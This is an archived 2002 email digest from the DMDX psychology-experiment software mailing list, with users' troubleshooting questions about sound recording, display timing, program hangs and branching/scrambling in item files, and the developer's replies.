>>DMDX to probe the issue. There's got to be something breaking by >>the sound of it. >> >> /""\\ >> -jonathan (j.c.f.) \\ / >> X >> ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ >> >> Economics is extremely useful as a form of employment for >>economists. >> >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > >oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo > >*** Note New Extension - 311 *** > >Mike Ford >MRC Cognition & Brain Sciences Unit >15 Chaucer Rd, Cambridge, CB1 2NQ, UK. >Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 > >http://www.mrc-cbu.cam.ac.uk/personal/mike.ford >oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -- ****PLEASE NOTE: our email address is now greg_thomson@telus.net. Please discontinue using gthomson@mac.com, as it will soon expire.**** >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 16 15:36:55 2002 Received: from phobos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9GMa3MS020229 for ; Wed, 16 Oct 2002 15:36:03 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DAD97D400013701 for DMDX@psy1.psych.arizona.edu; Wed, 16 Oct 2002 15:33:17 -0700 Message-Id: <5.1.0.14.2.20021016143741.00b13278@psy1.psych.arizona.edu> Date: Wed, 16 Oct 2002 15:14:40 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] TEST: ignore this please Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Gotta do a sanity check on the list server, sorry for the mess. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I like the word 'indolence.' It makes my laziness seem classy. - Bern Williams >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 16 15:42:07 2002 Received: from phobos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9GMg5MS020270 for ; Wed, 16 Oct 2002 15:42:05 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DAD97D400013CC8 for DMDX@psy1.psych.arizona.edu; Wed, 16 Oct 2002 15:39:19 -0700 Message-Id: <5.1.0.14.2.20021016153620.00b13278@psy1.psych.arizona.edu> Date: Wed, 16 Oct 2002 15:39:18 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Variable recording length In-Reply-To: <00e701c2746d$38e2cc40$3f5ef78c@TARAMA> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:06 PM 10/15/2002 -0400, you wrote: >Hi, >I am recording verbal responses of very young kids (28 months) repeating >spoken words. Basically, I use the RecordVocal function to record what the >kid says after the wav file has been presented. This work perfectly. > >However, my primary problem is that kids are not adults. Their repetition of >the spoken word can vary drastically from one trial to the other. This mean >that I can not have a fixed timeout for the end of the trial/recoding. > >But I could not figure out how to have a variable timing when recording >these vocal responses. I tryed to find a way to break the timeout (for >insance, by pressing a specific key when the kid respond), but I had no >success. > >I have been intensively working on it , and I am about to give up. >I would appreciate any help on this topic. Well it looks like we'll be getting variable RecordVocal lengths courtesy of the none-to-generous folks at Harvard. Don't have an ETA, that's damned complicated code. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I like the word 'indolence.' It makes my laziness seem classy. - Bern Williams >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 16 16:07:48 2002 Received: from phobos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9GN7kMS020432 for ; Wed, 16 Oct 2002 16:07:46 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.053) id 3DAD97D40001502D for DMDX@psy1.psych.arizona.edu; Wed, 16 Oct 2002 16:05:00 -0700 Message-Id: <5.1.0.14.2.20021016160030.00b13278@psy1.psych.arizona.edu> Date: Wed, 16 Oct 2002 16:05:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] archives In-Reply-To: <5.1.0.14.2.20021016143741.00b13278@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:14 PM 10/16/2002 -0700, you wrote: > Gotta do a sanity check on the list server, sorry for the mess. Looks like my concerns over the list serve threader were misplaced, the missing posts were indeed there, they were correctly linked as replies to a Dec 2001 post that was used as the seed for the original post and the couple of dropped posts were because I edited out that chain letter a while back but left the archive owned by root and not petidomo (oops) and the post that's filed under No Date In Message does in fact have no Date (or Subject or From) field so the threader's doing the right thing. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I like the word 'indolence.' It makes my laziness seem classy. - Bern Williams >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 03:06:23 2002 Received: from ws3-1.us4.outblaze.com (205-158-62-91.outblaze.com [205.158.62.91]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g9IA6LMS023877 for ; Fri, 18 Oct 2002 03:06:21 -0700 Received: (qmail 4799 invoked by uid 1001); 18 Oct 2002 10:03:25 -0000 Message-ID: <20021018100325.4798.qmail@email.com> Content-Type: text/plain; charset=""iso-8859-15"" Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Received: from [210.47.16.192] by ws3-1.us4.outblaze.com with http for wgm-psy@email.com; Fri, 18 Oct 2002 05:03:25 -0500 From: ""wang gm"" To: DMDX@psy1.psych.arizona.edu Date: Fri, 18 Oct 2002 05:03:25 -0500 Subject: [DMDX] How to display text and sounds together? Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello everybody, This is a letter from China. I'm using DMDX to create a experiment, but I encounter a problem that I can't solve it by myself. So I need your help, Thank you. I want to display a ""+"" in the begin of a item, and then two sounds play individually. I especially want the ""+"" to be able to stay on the screen when the two sounds are playing. But now I can only display ""+"" for only one second(or two seconds), and then the ""+"" DISPEARED when the two sounds begin to play. How can I display the ""+"" for all the time when the two sounds are playing? Please tell me the answer, thank you very much. Yours sincerely G.M. Wang _______________________________ This is part of my itme file: $ 0 ""Welcome to this program""; 250/; 0 ""This is the practice""; 250/; $ +1 ""+""/ ""soundfile1""// * ""soundfile2""/; 250/; +2 ""+""/ ""soundfile1""// * ""soundfile2""/; 250/; 0 ""End of the practice""; -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 03:19:23 2002 Received: from ws3-5.us4.outblaze.com (205-158-62-95.outblaze.com [205.158.62.95]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with SMTP id g9IA25MS023847 for ; Fri, 18 Oct 2002 03:02:05 -0700 Received: (qmail 17445 invoked by uid 1001); 18 Oct 2002 09:59:10 -0000 Message-ID: <20021018095910.17444.qmail@email.com> Content-Type: text/plain; charset=""iso-8859-15"" Content-Transfer-Encoding: 7bit MIME-Version: 1.0 Received: from [210.47.16.192] by ws3-5.us4.outblaze.com with http for wgm-psy@email.com; Fri, 18 Oct 2002 04:59:10 -0500 From: ""wang gm"" To: DMDX@psy1.psych.arizona.edu Date: Fri, 18 Oct 2002 04:59:10 -0500 Subject: [DMDX] Why DMDX didn't go on? Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello everyone, This is a letter from China. I'm using DMDX to set up an experiment about display the text and sound, But I encounter a problem that I can't solve it by myself. The problem is that I build a item file like below, all thing to be fine. But when I run it with DMDX, It only display the first ""Welcome to this program"", then it can't go on even I press the space button and other keys. Why it didn't go on anyway? Please tell me the answer, Thank you very much! G.M. Wang ____________________________ This is part of my item file: $ 0 ""Welcome to this program""; 250/; 0 ""This is the practice""; 250/; $ +1 ""+""/ ""puretone5000""// * ""puretone500""/; 250/; +2 ""+""/ ""puretone5000""// * ""puretone500""/; 250/; +193 ""+""/ ""puretone500""/ / * /; 250/; +3 ""+""/ ""puretone7000""// * ""puretone700""/; 250/; +4 ""+""/ ""puretone7000""// * ""puretone700""/; 250/; +194 ""+""/ ""puretone700""/ / * /; 250/; 0 ""End of the practice""; -- __________________________________________________________ Sign-up for your own FREE Personalized E-mail at Mail.com http://www.mail.com/?sr=signup >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 04:50:58 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9IBolMS024214 for ; Fri, 18 Oct 2002 04:50:48 -0700 Received: from archb1vvblbiks ([137.154.102.23]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9IBls107132 for ; Fri, 18 Oct 2002 21:47:54 +1000 (EST) Message-ID: <001501c2769a$fc5e8810$17669a89@archb1vvblbiks> From: ""Arch Tibben"" To: References: <5.1.0.14.2.20021015082820.00b12858@psy1.psych.arizona.edu> Subject: [DMDX] Re: branching/scrambling Date: Fri, 18 Oct 2002 21:37:01 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Here it is or at least some of it. But it gives the idea of what I'm doing N40 $ 0 ""etc etc"";$ 10201* ""10fsac""; +11302* ""mhap17""; +10403* ""02fcac""; 11104* ""ymang14""; +10105* ""wang2""; $ 0 ""eeeee"" +5* $ ""yes or no"" ; +10* ""yes or no)"" ; +15* ""yes or no)"" ; +20* ""yes or no)"" ; +25* Yes no ] (no branch)?? The question is that when scrambling the scramble initiates the early demise of the program. That is the scrambling prematurely terminates before the every instruction is executed...?? I want to ultimately scramble and complete after I I have completed all instructions Hope it akes sense thanks Arch ----- Original Message ----- From: ""j.c.f."" To: Sent: Wednesday, October 16, 2002 1:30 AM Subject: [DMDX] Re: branching/scrambling > At 08:28 PM 10/15/2002 +1000, you wrote: > >Hi > >Branching and scrambling is what I'm doing at the moment I wonder if I > >could be advise on how to avoid the branching to the last insrruction > >before time... > >I have one group (48 bmp ) within which I want to scramble. > >I prematurely get tossed out > >arch > > I guess you'll have to post us a small example and a description of what > you want to do, I don't want to advise the use of multi-scrambling unless > I'm sure you need it. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Economics is extremely useful as a form of employment for > economists. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 05:14:53 2002 Received: from kronos.ling.uni-potsdam.de (kronos.ling.uni-potsdam.de [141.89.97.100]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9ICEnMS024312 for ; Fri, 18 Oct 2002 05:14:50 -0700 Received: from ling.uni-potsdam.de ([141.89.97.196]) by kronos.ling.uni-potsdam.de (Netscape Messaging Server 3.52) with ESMTP id AAA15E4 for ; Fri, 18 Oct 2002 14:10:56 +0200 Message-ID: <3DAFFA5C.5040407@ling.uni-potsdam.de> Date: Fri, 18 Oct 2002 14:11:08 +0200 From: ruben van de vijver MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Why DMDX didn't go on? References: <20021018095910.17444.qmail@email.com> Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hallo Wang, I think I have had a similar problem. Let me describe it briefly: I run the features.rtf file that comes in the demo.zip folder you get when you download DMDX. The program went through the instructions and as soon as it arrived at the first stimulus item the computer froze completely: not even pressing ctrl alt del helped. I looked at the archived messages and I found that that happens if you have a certain video card (a GeForce I think). I would refer you to the List server thread, but when I try to search it now I get an internal error message. Anyway, you might want to try and start your program from the command line with this command: ""dmdx.exe -buffers 4"". In my case it worked. hope this helps, Ruben van de Vijver wang gm wrote: >Hello everyone, > >This is a letter from China. >I'm using DMDX to set up an experiment about display the text and sound, But I encounter a problem that I can't solve it by myself. >The problem is that I build a item file like below, all thing to be fine. But when I run it with DMDX, It only display the first ""Welcome to this program"", then it can't go on even I press the space button and other keys. > >Why it didn't go on anyway? Please tell me the answer, Thank you very much! > >G.M. Wang >____________________________ > >This is part of my item file: > > >$ >0 ""Welcome to this program""; >250/; > >0 ""This is the practice""; >250/; >$ >+1 ""+""/ ""puretone5000""// * ""puretone500""/; >250/; >+2 ""+""/ ""puretone5000""// * ""puretone500""/; >250/; >+193 ""+""/ ""puretone500""/ / * /; >250/; >+3 ""+""/ ""puretone7000""// * ""puretone700""/; >250/; >+4 ""+""/ ""puretone7000""// * ""puretone700""/; >250/; >+194 ""+""/ ""puretone700""/ / * /; >250/; >0 ""End of the practice""; > > > > >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 08:31:17 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9IFUmMS024698 for ; Fri, 18 Oct 2002 08:30:48 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3DB003D000004340 for DMDX@psy1.psych.arizona.edu; Fri, 18 Oct 2002 08:27:58 -0700 Message-Id: <5.1.0.14.2.20021018082724.00b12878@psy1.psych.arizona.edu> Date: Fri, 18 Oct 2002 08:27:57 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: How to display text and sounds together? In-Reply-To: <20021018100325.4798.qmail@email.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:03 AM 10/18/2002 -0500, you wrote: >Hello everybody, > >This is a letter from China. >I'm using DMDX to create a experiment, but I encounter a problem that I >can't solve it by myself. So I need your help, Thank you. > >I want to display a ""+"" in the begin of a item, and then two sounds play >individually. I especially want the ""+"" to be able to stay on the screen >when the two sounds are playing. But now I can only display ""+"" for only >one second(or two seconds), and then the ""+"" DISPEARED when the two sounds >begin to play. > How can I display the ""+"" for all the time when the two sounds are > playing? Please tell me the answer, thank you very much. Read the Sound help: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsound.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 08:43:14 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9IFhBMS024772 for ; Fri, 18 Oct 2002 08:43:11 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3DB003D000004C48 for DMDX@psy1.psych.arizona.edu; Fri, 18 Oct 2002 08:40:20 -0700 Message-Id: <5.1.0.14.2.20021018083402.00b12878@psy1.psych.arizona.edu> Date: Fri, 18 Oct 2002 08:40:19 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Why DMDX didn't go on? In-Reply-To: <20021018095910.17444.qmail@email.com> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:59 AM 10/18/2002 -0500, you wrote: >Hello everyone, > >This is a letter from China. >I'm using DMDX to set up an experiment about display the text and sound, >But I encounter a problem that I can't solve it by myself. >The problem is that I build a item file like below, all thing to be fine. >But when I run it with DMDX, It only display the first ""Welcome to this >program"", then it can't go on even I press the space button and other keys. > >Why it didn't go on anyway? Please tell me the answer, Thank you very much! If it's not the GeForce issue are there messages about not being able to find the ""keyboard"" device in the diagnostics.txt after you abort with ESC? If you can abort with ESC it's not the GeForce issue as that locks the machine up solidly. DMDX has trouble with International versions of Windows where the input devices has been a different name (I'll be writing a help topic on it shortly). Check the TimeDX Input Device test and help, you probably need and and so on. BTW, unless you are changing input keys you don't need to and every item and feedback sticks too, no need for every item either. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 08:48:43 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9IFmbMS024848 for ; Fri, 18 Oct 2002 08:48:37 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.11) by deimos.email.Arizona.EDU (6.0.053) id 3DB003D000004FBA for DMDX@psy1.psych.arizona.edu; Fri, 18 Oct 2002 08:45:46 -0700 Message-Id: <5.1.0.14.2.20021018084446.00b12878@psy1.psych.arizona.edu> Date: Fri, 18 Oct 2002 08:45:45 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: branching/scrambling In-Reply-To: <001501c2769a$fc5e8810$17669a89@archb1vvblbiks> References: <5.1.0.14.2.20021015082820.00b12858@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hmm. What is it that you want the item file to do? Looks like you got some straight forward branching design issues. At 09:37 PM 10/18/2002 +1000, you wrote: >Here it is or at least some of it. But it gives the idea of what I'm doing >N40 > +Left shift> Shift> > >$ 0 ""etc etc"";$ > > >10201* ""10fsac""; >+11302* ""mhap17""; > >+10403* ""02fcac""; > >11104* ""ymang14""; > >+10105* ""wang2""; > > $ 0 ""eeeee"" > > +5* > > > > > > $ > > ""yes or no"" > > ; > > +10* > > ""yes or no)"" > > ; > > +15* > > ""yes or no)"" > > ; > > +20* > > ""yes or no)"" > > ; > > +25* > > Yes no ] > (no branch)?? > > > > >The question is that when scrambling the scramble initiates the early demise >of the program. That is the scrambling prematurely terminates before the >every instruction is executed...?? > >I want to ultimately scramble and complete after I I have completed all >instructions > >Hope it akes sense > >thanks Arch > > >----- Original Message ----- >From: ""j.c.f."" >To: >Sent: Wednesday, October 16, 2002 1:30 AM >Subject: [DMDX] Re: branching/scrambling > > > > At 08:28 PM 10/15/2002 +1000, you wrote: > > >Hi > > >Branching and scrambling is what I'm doing at the moment I wonder if I > > >could be advise on how to avoid the branching to the last insrruction > > >before time... > > >I have one group (48 bmp ) within which I want to scramble. > > >I prematurely get tossed out > > >arch > > > > I guess you'll have to post us a small example and a description of >what > > you want to do, I don't want to advise the use of multi-scrambling unless > > I'm sure you need it. > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > Economics is extremely useful as a form of employment for > > economists. > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Economics is extremely useful as a form of employment for economists. >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 13:07:06 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9IJibMS025364 for ; Fri, 18 Oct 2002 12:44:38 -0700 Received: from archb1vvblbiks ([137.154.102.23]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9IJfh125898 for ; Sat, 19 Oct 2002 05:41:43 +1000 (EST) Message-ID: <000501c276dd$2df6e380$17669a89@archb1vvblbiks> From: ""Arch Tibben"" To: References: <5.1.0.14.2.20021015082820.00b12858@psy1.psych.arizona.edu> <5.1.0.14.2.20021018084446.00b12878@psy1.psych.arizona.edu> Subject: [DMDX] Re: branching/scrambling Date: Sat, 19 Oct 2002 05:33:03 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Simply want the prog to make to make a second decisional response after one of the initial keys have been pressed Say, first response would be yes if yes that the second response (y or n) needs to be recorded. My Prob is I want to show all the pics (scrambled) I find my current set up terminating prematurely hope that makes sense I am hung up on something (as is my prog).I have overlooked something for sure And it is probable a basic branching prob ...but I can't see it at present sorry arch ---- Original Message ----- From: ""j.c.f."" To: Sent: Saturday, October 19, 2002 1:45 AM Subject: [DMDX] Re: branching/scrambling > > Hmm. What is it that you want the item file to do? Looks like you got > some straight forward branching design issues. > > At 09:37 PM 10/18/2002 +1000, you wrote: > >Here it is or at least some of it. But it gives the idea of what I'm doing > >N40 > > >+Left shift> >Shift> > > > >$ 0 ""etc etc"";$ > > > > > >10201* ""10fsac""; > >+11302* ""mhap17""; > > > >+10403* ""02fcac""; > > > >11104* ""ymang14""; > > > >+10105* ""wang2""; > > > > $ 0 ""eeeee"" > > > > +5* > > > > > > > > > > > > $ > > > > ""yes or no"" > > > > ; > > > > +10* > > > > ""yes or no)"" > > > > ; > > > > +15* > > > > ""yes or no)"" > > > > ; > > > > +20* > > > > ""yes or no)"" > > > > ; > > > > +25* > > > > Yes no ] > > (no branch)?? > > > > > > > > > >The question is that when scrambling the scramble initiates the early demise > >of the program. That is the scrambling prematurely terminates before the > >every instruction is executed...?? > > > >I want to ultimately scramble and complete after I I have completed all > >instructions > > > >Hope it akes sense > > > >thanks Arch > > > > > >----- Original Message ----- > >From: ""j.c.f."" > >To: > >Sent: Wednesday, October 16, 2002 1:30 AM > >Subject: [DMDX] Re: branching/scrambling > > > > > > > At 08:28 PM 10/15/2002 +1000, you wrote: > > > >Hi > > > >Branching and scrambling is what I'm doing at the moment I wonder if I > > > >could be advise on how to avoid the branching to the last insrruction > > > >before time... > > > >I have one group (48 bmp ) within which I want to scramble. > > > >I prematurely get tossed out > > > >arch > > > > > > I guess you'll have to post us a small example and a description of > >what > > > you want to do, I don't want to advise the use of multi-scrambling unless > > > I'm sure you need it. > > > /""\\ > > > -jonathan (j.c.f.) \\ / > > > X > > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > > > Economics is extremely useful as a form of employment for > > > economists. > > > > > > > > > ==================================================================== > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > > 'unsubscribe' by itself with no quotes in the body of the email > > > to be removed from the list. The list archive is available here: > > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > > ==================================================================== > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Economics is extremely useful as a form of employment for > economists. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 13:44:17 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9IKiCMS025537 for ; Fri, 18 Oct 2002 13:44:12 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.053) id 3DB003D00001190E for DMDX@psy1.psych.arizona.edu; Fri, 18 Oct 2002 13:41:21 -0700 Message-Id: <5.1.0.14.2.20021018133125.00b132d0@psy1.psych.arizona.edu> Date: Fri, 18 Oct 2002 13:41:20 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: branching/scrambling In-Reply-To: <000501c276dd$2df6e380$17669a89@archb1vvblbiks> References: <5.1.0.14.2.20021015082820.00b12858@psy1.psych.arizona.edu> <5.1.0.14.2.20021018084446.00b12878@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:33 AM 10/19/2002 +1000, you wrote: >Simply want the prog to make to make a second decisional response after one >of the initial keys have been pressed Your problem may be missing CR indicators in some of your items: 10201* ""10fsac""; <<<<<<<<<<<<< +11302* ""mhap17""; +10403* ""02fcac""; 11104* ""ymang14""; <<<<<<<<<<<<< +10105* ""wang2""; Syntax check is your friend, it would point those errors out for you. >Say, first response would be yes >if yes that the second response (y or n) needs to be recorded. The way I would code a unique second question for every item would be: S1 G3 N40 etc $ 0 ""instructions""; $ +1 *""first q"" +2 *""second q""; ~0; +10 *""second first q"" +20 *""second second q""; ~0; The way I would code a common question would be: S1 N40 etc $ 0 ""instructions"" ; +990 *""common second q"" ; ~999; $ +1 *""first q"" +10 *""second first q"" /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I like the word 'indolence.' It makes my laziness seem classy. - Bern Williams >From DMDX-owner@psy1.psych.arizona.edu Fri Oct 18 16:10:41 2002 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.12.4/8.12.4) with ESMTP id g9IMfxMS025813 for ; Fri, 18 Oct 2002 15:41:59 -0700 Received: from PYSCMASTERS06 ([137.154.108.112]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.3) with SMTP id g9IMd6125325 for ; Sat, 19 Oct 2002 08:39:06 +1000 (EST) Message-ID: <000501c276f8$343ee7e0$706c9a89@PYSCMASTERS06> From: ""Arch Tibben"" To: References: <5.1.0.14.2.20021015082820.00b12858@psy1.psych.arizona.edu> <5.1.0.14.2.20021018084446.00b12878@psy1.psych.arizona.edu> <5.1.0.14.2.20021018133125.00b132d0@psy1.psych.arizona.edu> Subject: [DMDX] Re: branching/scrambling Date: Sat, 19 Oct 2002 08:46:31 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thank you I will persue this much appreciated I will let you know how it goes thanks arch ----- Original Message ----- From: ""Jonathan C. Forster"" To: Sent: Saturday, October 19, 2002 6:41 AM Subject: [DMDX] Re: branching/scrambling > At 05:33 AM 10/19/2002 +1000, you wrote: > >Simply want the prog to make to make a second decisional response after one > >of the initial keys have been pressed > > Your problem may be missing CR indicators in some of your items: > > 10201* ""10fsac""; <<<<<<<<<<<<< > +11302* ""mhap17""; > > +10403* ""02fcac""; > > 11104* ""ymang14""; <<<<<<<<<<<<< > > +10105* ""wang2""; > > Syntax check is your friend, it would point those errors out for you. > > > >Say, first response would be yes > >if yes that the second response (y or n) needs to be recorded. > > The way I would code a unique second question for every item would be: > > S1 G3 N40 etc > $ > 0 ""instructions""; > $ > > +1 *""first q"" > +2 *""second q""; > ~0; > > +10 *""second first q"" > +20 *""second second q""; > ~0; > > > The way I would code a common question would be: > > S1 N40 etc > $ > 0 ""instructions"" ; > +990 *""common second q"" ; > ~999; > $ > > +1 *""first q"" > > +10 *""second first q"" > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > I like the word 'indolence.' It makes my laziness seem classy. > - Bern Williams 